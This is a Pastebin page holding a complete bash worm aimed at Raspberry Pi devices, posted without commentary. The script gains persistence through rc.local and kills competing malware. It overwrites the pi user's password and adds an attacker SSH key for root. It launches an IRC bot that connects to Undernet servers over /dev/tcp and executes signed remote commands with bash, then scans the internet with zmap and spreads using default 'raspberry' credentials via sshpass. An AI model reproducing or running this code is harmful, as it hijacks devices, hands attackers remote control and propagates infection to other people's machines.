SHARE
TWEET

Untitled

a guest Jun 18th, 2019 55 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #!/bin/bash
  2.  
  3. MYSELF=`realpath $0`
  4. DEBUG=/dev/null
  5. echo $MYSELF >> $DEBUG
  6.  
  7. if [ "$EUID" -ne 0 ]
  8. then
  9.     NEWMYSELF=`mktemp -u 'XXXXXXXX'`
  10.     sudo cp $MYSELF /opt/$NEWMYSELF
  11.     sudo sh -c "echo '#!/bin/sh -e' > /etc/rc.local"
  12.     sudo sh -c "echo /opt/$NEWMYSELF >> /etc/rc.local"
  13.     sudo sh -c "echo 'exit 0' >> /etc/rc.local"
  14.     sleep 1
  15.     sudo reboot
  16. else
  17. TMP1=`mktemp`
  18. echo $TMP1 >> $DEBUG
  19.  
  20. killall bins.sh
  21. killall minerd
  22. killall node
  23. killall nodejs
  24. killall ktx-armv4l
  25. killall ktx-i586
  26. killall ktx-m68k
  27. killall ktx-mips
  28. killall ktx-mipsel
  29. killall ktx-powerpc
  30. killall ktx-sh4
  31. killall ktx-sparc
  32. killall arm5
  33. killall zmap
  34. killall kaiten
  35. killall perl
  36.  
  37. echo "127.0.0.1 bins.deutschland-zahlung.eu" >> /etc/hosts
  38. rm -rf /root/.bashrc
  39. rm -rf /home/pi/.bashrc
  40.  
  41. usermod -p \$6\$vGkGPKUr\$heqvOhUzvbQ66Nb0JGCijh/81sG1WACcZgzPn8A0Wn58hHXWqy5yOgTlYJEbOjhkHD0MRsAkfJgjU/ioCYDeR1 pi
  42.  
  43. mkdir -p /root/.ssh
  44. echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCl0kIN33IJISIufmqpqg54D6s4J0L7XV2kep0rNzgY1S1IdE8HDef7z1ipBVuGTygGsq+x4yVnxveGshVP48YmicQHJMCIljmn6Po0RMC48qihm/9ytoEYtkKkeiTR02c6DyIcDnX3QdlSmEqPqSNRQ/XDgM7qIB/VpYtAhK/7DoE8pqdoFNBU5+JlqeWYpsMO+qkHugKA5U22wEGs8xG2XyyDtrBcw10xz+M7U8Vpt0tEadeV973tXNNNpUgYGIFEsrDEAjbMkEsUw+iQmXg37EusEFjCVjBySGH3F+EQtwin3YmxbB9HRMzOIzNnXwCFaYU5JjTNnzylUBp/XB6B"  >> /root/.ssh/authorized_keys
  45.  
  46. echo "nameserver 8.8.8.8" >> /etc/resolv.conf
  47. rm -rf /tmp/ktx*
  48. rm -rf /tmp/cpuminer-multi
  49. rm -rf /var/tmp/kaiten
  50.  
  51. cat > /tmp/public.pem <<EOFMARKER
  52. -----BEGIN PUBLIC KEY-----
  53. MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC/ihTe2DLmG9huBi9DsCJ90MJs
  54. glv7y530TWw2UqNtKjPPA1QXvNsWdiLpTzyvk8mv6ObWBF8hHzvyhJGCadl0v3HW
  55. rXneU1DK+7iLRnkI4PRYYbdfwp92nRza00JUR7P4pghG5SnRK+R/579vIiy+1oAF
  56. WRq+Z8HYMvPlgSRA3wIDAQAB
  57. -----END PUBLIC KEY-----
  58. EOFMARKER
  59.  
  60. BOT=`mktemp -u 'XXXXXXXX'`
  61.  
  62. cat > /tmp/$BOT <<'EOFMARKER'
  63. #!/bin/bash
  64.  
  65. SYS=`uname -a | md5sum | awk -F' ' '{print $1}'`
  66. NICK=a${SYS:24}
  67. while [ true ]; do
  68.  
  69.     arr[0]="ix1.undernet.org"
  70.     arr[1]="ix2.undernet.org"
  71.     arr[2]="Ashburn.Va.Us.UnderNet.org"
  72.     arr[3]="Bucharest.RO.EU.Undernet.Org"
  73.     arr[4]="Budapest.HU.EU.UnderNet.org"
  74.     arr[5]="Chicago.IL.US.Undernet.org"
  75.     rand=$[$RANDOM % 6]
  76.     svr=${arr[$rand]}
  77.  
  78.     eval 'exec 3<>/dev/tcp/$svr/6667;'
  79.     if [[ ! "$?" -eq 0 ]] ; then
  80.             continue
  81.     fi
  82.  
  83.     echo $NICK
  84.  
  85.     eval 'printf "NICK $NICK\r\n" >&3;'
  86.     if [[ ! "$?" -eq 0 ]] ; then
  87.             continue
  88.     fi
  89.     eval 'printf "USER user 8 * :IRC hi\r\n" >&3;'
  90.     if [[ ! "$?" -eq 0 ]] ; then
  91.         continue
  92.     fi
  93.  
  94.     # Main loop
  95.     while [ true ]; do
  96.         eval "read msg_in <&3;"
  97.  
  98.         if [[ ! "$?" -eq 0 ]] ; then
  99.             break
  100.         fi
  101.  
  102.         if  [[ "$msg_in" =~ "PING" ]] ; then
  103.             printf "PONG %s\n" "${msg_in:5}";
  104.             eval 'printf "PONG %s\r\n" "${msg_in:5}" >&3;'
  105.             if [[ ! "$?" -eq 0 ]] ; then
  106.                 break
  107.             fi
  108.             sleep 1
  109.             eval 'printf "JOIN #biret\r\n" >&3;'
  110.             if [[ ! "$?" -eq 0 ]] ; then
  111.                 break
  112.             fi
  113.         elif [[ "$msg_in" =~ "PRIVMSG" ]] ; then
  114.             privmsg_h=$(echo $msg_in| cut -d':' -f 3)
  115.             privmsg_data=$(echo $msg_in| cut -d':' -f 4)
  116.             privmsg_nick=$(echo $msg_in| cut -d':' -f 2 | cut -d'!' -f 1)
  117.  
  118.             hash=`echo $privmsg_data | base64 -d -i | md5sum | awk -F' ' '{print $1}'`
  119.             sign=`echo $privmsg_h | base64 -d -i | openssl rsautl -verify -inkey /tmp/public.pem -pubin`
  120.  
  121.             if [[ "$sign" == "$hash" ]] ; then
  122.                 CMD=`echo $privmsg_data | base64 -d -i`
  123.                 RES=`bash -c "$CMD" | base64 -w 0`
  124.                 eval 'printf "PRIVMSG $privmsg_nick :$RES\r\n" >&3;'
  125.                 if [[ ! "$?" -eq 0 ]] ; then
  126.                     break
  127.                 fi
  128.             fi
  129.         fi
  130.     done
  131. done
  132. EOFMARKER
  133.  
  134. chmod +x /tmp/$BOT
  135. nohup /tmp/$BOT 2>&1 > /tmp/bot.log &
  136. rm /tmp/nohup.log -rf
  137. rm -rf nohup.out
  138. sleep 3
  139. rm -rf /tmp/$BOT
  140.  
  141. NAME=`mktemp -u 'XXXXXXXX'`
  142.  
  143. date > /tmp/.s
  144.  
  145. apt-get update -y --force-yes
  146. apt-get install zmap sshpass -y --force-yes
  147.  
  148. while [ true ]; do
  149.     FILE=`mktemp`
  150.     zmap -p 22 -o $FILE -n 100000
  151.     killall ssh scp
  152.     for IP in `cat $FILE`
  153.     do
  154.         sshpass -praspberry scp -o ConnectTimeout=6 -o NumberOfPasswordPrompts=1 -o PreferredAuthentications=password -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no $MYSELF pi@$IP:/tmp/$NAME  && echo $IP >> /opt/.r && sshpass -praspberry ssh pi@$IP -o ConnectTimeout=6 -o NumberOfPasswordPrompts=1 -o PreferredAuthentications=password -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no "cd /tmp && chmod +x $NAME && bash -c ./$NAME" &
  155.         sshpass -praspberryraspberry993311 scp -o ConnectTimeout=6 -o NumberOfPasswordPrompts=1 -o PreferredAuthentications=password -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no $MYSELF pi@$IP:/tmp/$NAME  && echo $IP >> /opt/.r && sshpass -praspberryraspberry993311 ssh pi@$IP -o ConnectTimeout=6 -o NumberOfPasswordPrompts=1 -o PreferredAuthentications=password -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no "cd /tmp && chmod +x $NAME && bash -c ./$NAME" &
  156.     done
  157.     rm -rf $FILE
  158.     sleep 10
  159. done
  160.  
  161. fi
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top